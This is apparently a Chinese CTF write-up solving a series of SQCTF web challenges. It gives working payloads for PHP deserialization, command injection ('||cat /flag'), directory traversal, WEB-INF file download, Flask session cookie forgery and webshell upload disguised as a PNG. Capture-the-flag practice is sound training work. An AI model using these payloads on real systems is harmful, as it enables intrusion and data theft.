web
商师一日游
访问/atc1acrd.html
看到source,打开bp进行source认证
得到了碎片1,并且给出了下一关的路径
看到了曲奇想到了cookie,接着用bp修改,将weak修改为strong
给出了碎片2,来到了第三关
给出了这个提示,将网页翻了一遍没找到东西,试试用dirsearch扫目录,结果扫到了robots.txt
给出了碎片4和下一关的路径
要求对这个php代码进行一次rce,给出payload:?hhh=%0a123,进行绕过
给出了碎片5和下一关的路径
按钮是灰色的,说明点不动,F12将disable属性删掉就可以了
给出了碎片6,然后进入隐藏关
看样子要我们用蚁剑进行链接了
在/var/www/html目录下发现第三关可以点开,并且还可以得到碎片三的内容
得到了最后一个碎片,拼接后就是全部的flag了
sqctf{3d57b54fbb67410d8d56858f5a408e89}
My Blog
就github可以点击
点开后是一个pdf,在最后发现了username和password
根据这两个内容,可以直接访问login.php,打开后发现是一个登录框,将用户名和密码输入到里面
ez_game
随便一个超过2048的数值都可以拿到flag
eeaassyy
直接用curl读取网页即可
逃
filter函数会将flag和php替换为stop,需要确保payload不含这些关键词。反序列化后的对象pswd属性必须等于escaping。test类有两个属性user和pswd,默认值分别为test和sunshine
POC:
<?php
class test {
public $user = 'test';
public $pswd = 'sunshine';
}
$obj = new test();
$obj->pswd = 'escaping';
echo serialize($obj);
?>
payload
O:4:"test":2:{s:4:"user";s:4:"test";s:4:"pswd";s:8:"escaping";}
嘿嘿嘿
<?php
highlight_file(__FILE__);
class hhh {
public $file;
public $content;
public function __construct($file, $content) {
$this->file = $file;
$this->content = $content;
}
public function __destruct() {
if ($this->file && $this->content) {
if (strpos($this->file, 'flag') !== false) {
die("No flag file!");
}
if (file_exists($this->file)) {
die("File already exists!");
}
file_put_contents($this->file, $this->content);
}
}
}
class xxx {
public $data;
public function __construct($data) {
$this->data = $data;
}
public function __toString() {
return $this->data;
}
}
class yyy {
public $path;
public $allowed;
public function __construct($path, $allowed) {
$this->path = $path;
$this->allowed = $allowed;
}
public function __toString() {
if ($this->allowed) {
return file_get_contents($this->path);
} else {
return "Access Denied!";
}
}
}
if (isset($_POST['data'])) {
$data = unserialize($_POST['data']);
if (is_array($data->file) || md5($data->file) === md5("flag.php")) {
die("No cheating!");
}
if (strpos($data->file, 'php://') !== false) {
die("No php protocol!");
}
if ($data->content === "GET_FLAG") {
echo "Flag: " . file_get_contents("flag.php");
}
}
?>
一个经典的反序列化内容
hhh类:在销毁时检查file属性是否包含flag,若存在则终止。我们需要避免触发此检查。
xxx类:通过__toString返回data属性,用于动态生成字符串。
yyy类:若allowed为true,则读取path文件内容,但需要确保路径正确
POC:
<?php
class hhh {
public $file;
public $content;
}
class xxx {
public $data;
public function __construct($data) {
$this->data = $data;
}
}
// 创建xxx对象用于动态生成字符串
$xxx = new xxx("a");
// 创建hhh对象,设置file为xxx实例,content为GET_FLAG
$hhh = new hhh();
$hhh->file = $xxx;
$hhh->content = "GET_FLAG";
// 输出序列化结果
echo serialize($hhh);
?>
payload:
O:3:"hhh":2:{s:4:"file";O:3:"xxx":1:{s:4:"data";s:1:"a";}s:7:"content";s:8:"GET_FLAG";}
由于这是解出后写的wp,导致传入payload后显示文件已经纯在了,但并没有出现flag,F12查看源代码后得到了flag
Input a number
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['sqctf'])){
$num = $_GET['sqctf'];
if($num==114514){
die("逸一时, 误一世!");
}
if(intval($num,0)==114514){
echo $flag;
}else{
echo "看看你输入的数字: ".intval($num,0);
}
}
?>
payload:?sqctf=0337522 337522 ≠ 114514,绕过 die。 为八进制,intval("0337522", 0) 正好是 114514,满足第二个条件。
baby rce
GET:?param1[]=a¶m2[]=b POST:payload=TYctf::getKey
ping
<?php
if (isset($_GET['ip'])) {
$ip = $_GET['ip'];
if (strpos($ip, ';') !== false) {
die('Hacker detected!');
}
system("ping -c 1 " . $ip);
} else {
highlight_file(__FILE__);
}
?>
代码审计后得知,若 strpos找到了子字符串,就会返回子字符串首次出现位置的索引;若没找到,就会返回 false。否则会执行system("ping -c 1 " . $ip);该代码,然后先对传入的ip进行ping命令,一般都会正常回显,接着执行||后的命令
payload:
?ip=127.0.0.1||ls /
?ip=127.0.0.1||cat /flag
哎呀大大大黑塔
想不到居然要看大黑塔的pv,看了好几遍,都没有找到啥有用的东西,突发奇想尝试视频链接:BV1tXckehEd3,结果跳转到了一个username.php页面
一个反序列化内容,构造一个Secret对象的序列化字符串,其key
属性设置为"SQCTF"。当服务器反序列化该字符串时,对象销毁时会触发__destruct方法,从而输出flag。
<?php
class Secret {
public $key;
}
$obj = new Secret();
$obj->key = "SQCTF";
echo serialize($obj);
?>
payload:O:6:"Secret":1:{s:3:"key";s:5:"SQCTF";}
Through
目录穿越,一开始尝试用../进行穿越,结果发现不行,尝试双写../绕过后发现可行
File_download
java的文件下载,先点击help.txt,给出了这个提示get or post filename to /DownloadServlet ?
通过查阅资料得到了下面的内容
/WEB-INF/web.xml:Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则。 /WEB-INF/classes/:含了站点所有用的 class 文件,包括 servlet class 和非servlet class。 /WEB-INF/lib/:存放web应用需要的各种JAR文件,放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件 /WEB-INF/src/:源码目录,按照包名结构放置各个java文件。 /WEB-INF/database.properties:数据库配置文件。 利用: 通过找到web.xml文件,推断class文件路径,最后下载class文件,通过反编译class文件,得到网站源码。
接着用bp抓包,然后修改请求方式为POST,在使用filename=WEB-INF/web.xml
得到了Web应用的程序配置文件,并且给出了跟flag相关字样的字符串,然后根据命名规则可以得到下面的
payload:/WEB-INF/classes/com/wm/ctf/FlagController.classs
然后去浏览器内将这个文件下载,用记事本打开后是一大堆乱码,使用在线反编译网站进行反编译Java decompiler online,得到一个java程序,将程序给到deepseek,给出了一个python脚本
key = [110, 107, 185, 183, 183, 186, 103, 185, 99, 105, 105, 187, 105, 99, 102, 184, 185, 103, 99, 108, 186, 107, 187, 99, 183, 109, 105, 184, 102, 106, 106, 188, 109, 186, 111, 188]
flag = ''.join([chr((k ^ 48) - 38) for k in key])
print(f"flag{{{flag}}}")
将flag换成SQCTF即可
伪装
整理后的代码如下:
from flask import Flask, session, request, render_template_string
import flask
import os
app = Flask(__name__)
app.secret_key = 'love'
@app.route('/')
def index():
session['role'] = {
'is_admin': 0,
'name': 'aiyamaya'
}
with open(__file__, 'r') as file:
code = file.read()
return code
@app.route('/admin')
def admin_handler():
try:
role = session.get('role')
if not isinstance(role, dict):
raise Exception
except Exception:
return 'Without you, you are an intruder!'
if role.get('is_admin') == 1 and role.get('name') == 'sjx':
flag = os.popen("cat /flag").read()
message = "Oh, You get me! The flag is: %s" % flag
return render_template_string(message)
else:
return "Error: You don't have the power!"
if __name__ == '__main__':
app.run(host='0.0.0.0', port=80)
将代码给dp后,提示用flask-unsign生成包含{"role": {"is_admin": 1, "name": "sjx"}}的cookie值,然后使用curl命令进行cookie值的传入
curl -H "Cookie: session=eyJyb2xlIjp7ImlzX2FkbWluIjoxLCJuYW1lIjoic2p4In19.Z_kc3A.GuwucteYP5slVIcJHTB0HIdW04A" http://challenge.qsnctf.com:31481/admin
Look for the homepage
提示的是信息搜集,dirsearch扫目录啥也没有,就想者看看响应包内有没有东西,就用bp开始抓包,并发送到repeter里防爆,结果看到了一个challenge.php
接着进入到这个页面内,得到了一个php代码
Level1绕过
-
利用逻辑运算符优先级漏洞: 条件 $verify_code === $code && $pass1 === $flag || $pass2 === "welcome" 中,由于 && 的优先级高于 ||,只要 pass2 设为 welcome,整个条件即成立,无需关心 verify_code 和 pass1 的值
Level2绕过
-
构造parse_str和md5匹配条件:
-
使用value3的MD5哈希作为value1中的fly参数值。例如,若value3为a,其MD5为0cc175b9c0f1b6a831c399e269772661,则value1应设置为fly=0cc175b9c0f1b6a831c399e269772661
-
ggoodd
<?php
highlight_file(__FILE__);
include ("flag.php");
$id=$_POST['id'];
$json=json_decode($_GET['json'],true);
if ($id=='abc'&&$json['x']=="cba")
{
echo $flag;
}
?>
需要同时满足POST请求中的id参数为abc和GET请求中的json参数解码后包含x键且其值为cba,
GET: json={"x":"cba"} POST: id=abc
开发人员的小失误
dirsearch扫描得到一个/backup.sql,将其下载后用vscode打开就得到了flag
Are you from SQNU?
根据提示用bp修改制定内容就行了
Upload_Level11
上传带木马的png文件,然后bp抓包修改后缀为php
蚁剑连接,根目录下有flag
Upload_Level2
步骤同上